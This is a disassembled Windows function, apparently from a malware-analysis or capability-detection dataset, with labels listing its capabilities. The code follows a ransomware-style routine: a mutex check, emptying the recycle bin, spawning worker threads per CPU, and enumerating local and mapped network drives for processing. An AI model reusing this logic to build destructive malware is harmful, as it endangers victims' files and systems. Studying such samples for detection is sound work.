Function at 0x4074f0
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x4110a4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0
push 0x401364
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x60], eax
push 0x40138c
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x407567
push 0x4013ac
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x84], eax
jmp 0x40756f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
call fcn.004109c0
call fcn.0040c670
push 0x4013cc
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401de0
add esp, 0xc
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x4075be
mov eax, dword [ebp - 0x88]
push eax
call fcn.00406990
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x14]
shl edx, 1
mov dword [ebp - 0x54], edx
imul eax, dword [ebp - 0x14], 3
push eax
call fcn.00410a90
add esp, 4
push 0x4013e0
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401de0
add esp, 0xc
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x54]
shl eax, 2
push eax
call fcn.004109f0
add esp, 4
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x4079f8
mov dword [ebp - 0x5c], 0
jmp 0x407639
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x54]
jae 0x407661
push 0
push 0
push 0
push 0x407010
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
mov dword [edx + ecx*4], eax
jmp 0x407630
push 0x4013e8
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401de0
add esp, 0xc
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x40773c
mov dword [ebp - 0x48], 1
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x44], 0
jmp 0x4076ac
mov eax, dword [ebp - 0x44]
add eax, 1
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x90]
jge 0x4076dd
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax + edx*2]
cmp ecx, 0x2c
jne 0x4076db
xor edx, edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
mov word [ecx + eax*2], dx
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
jmp 0x4076a3
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
push ecx
call fcn.004109f0
add esp, 4
mov dword [ebp - 0x70], eax
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00407350
add esp, 4
mov edx, dword [ebp - 0x70]
push edx
call fcn.004109d0
add esp, 4
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x38]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x48]
sub eax, 1
mov dword [ebp - 0x48], eax
jne 0x4076dd
push 0x4013f8
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00401de0
add esp, 0xc
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x407817
mov dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x4c], 0
jmp 0x407787
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 0x94]
jge 0x4077b8
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x3c]
movzx edx, word [ecx + eax*2]
cmp edx, 0x2c
jne 0x4077b6
xor eax, eax
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x3c]
mov word [edx + ecx*2], ax
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
jmp 0x40777e
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
push edx
call fcn.004109f0
add esp, 4
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 0x74]
push edx
call fcn.00407050
add esp, 4
mov eax, dword [ebp - 0x74]
push eax
call fcn.004109d0
add esp, 4
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x3c]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x50]
sub ecx, 1
mov dword [ebp - 0x50], ecx
jne 0x4077b8
push 0x401404
mov edx, dword [ebp - 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x407839
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00407260
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x407960
mov ecx, 0x41
mov word [ebp - 0x34], cx
jmp 0x407863
mov dx, word [ebp - 0x34]
add dx, 1
mov word [ebp - 0x34], dx
movzx eax, word [ebp - 0x34]
cmp eax, 0x5a
jg 0x407960
mov ecx, dword [ebp - 0x68]
and ecx, 1
je 0x407953
push 0xe
call fcn.004109f0
add esp, 4
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x407953
push 0x401414
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x401420
mov eax, dword [ebp - 0x40]
add eax, 0xa
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, 2
shl ecx, 2
mov edx, dword [ebp - 0x40]
mov ax, word [ebp - 0x34]
mov word [edx + ecx], ax
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x407947
cmp dword [ebp - 0x78], 5
je 0x407947
cmp dword [ebp - 0x78], 4
je 0x4078f4
mov edx, dword [ebp - 0x40]
push edx
call fcn.00407050
add esp, 4
jmp 0x407947
mov dword [ebp - 0x30], 0x104
mov eax, dword [ebp - 0x30]
shl eax, 1
push eax
call fcn.004109f0
add esp, 4
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x407947
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x64]
push edx
mov eax, 2
shl eax, 2
add eax, dword [ebp - 0x40]
push eax
call sub.MPR.dll_WNetGetConnectionW
test eax, eax
jne 0x407947
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00407050
add esp, 4
mov edx, dword [ebp - 0x64]
push edx
call fcn.004109d0
add esp, 4
mov eax, dword [ebp - 0x40]
push eax
call fcn.004109d0
add esp, 4
mov ecx, dword [ebp - 0x68]
shr ecx, 1
mov dword [ebp - 0x68], ecx
jmp 0x407857
push 0x401424
mov edx, dword [ebp - 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x407979
cmp dword [ebp - 0x7c], 0
jne 0x407988
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00407260
add esp, 4
mov dword [ebp - 0x80], 0
jmp 0x40799a
mov ecx, dword [ebp - 0x80]
add ecx, 1
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0x80]
cmp edx, dword [ebp - 0x54]
jae 0x4079ae
push 0
call fcn.00410af0
add esp, 4
jmp 0x407991
push 0xffffffffffffffff
push 1
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x6c], 0
jmp 0x4079d2
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x54]
jae 0x4079ec
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + ecx*4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4079c9
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.004109d0
add esp, 4
push 0
push 0
push 0x401430
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]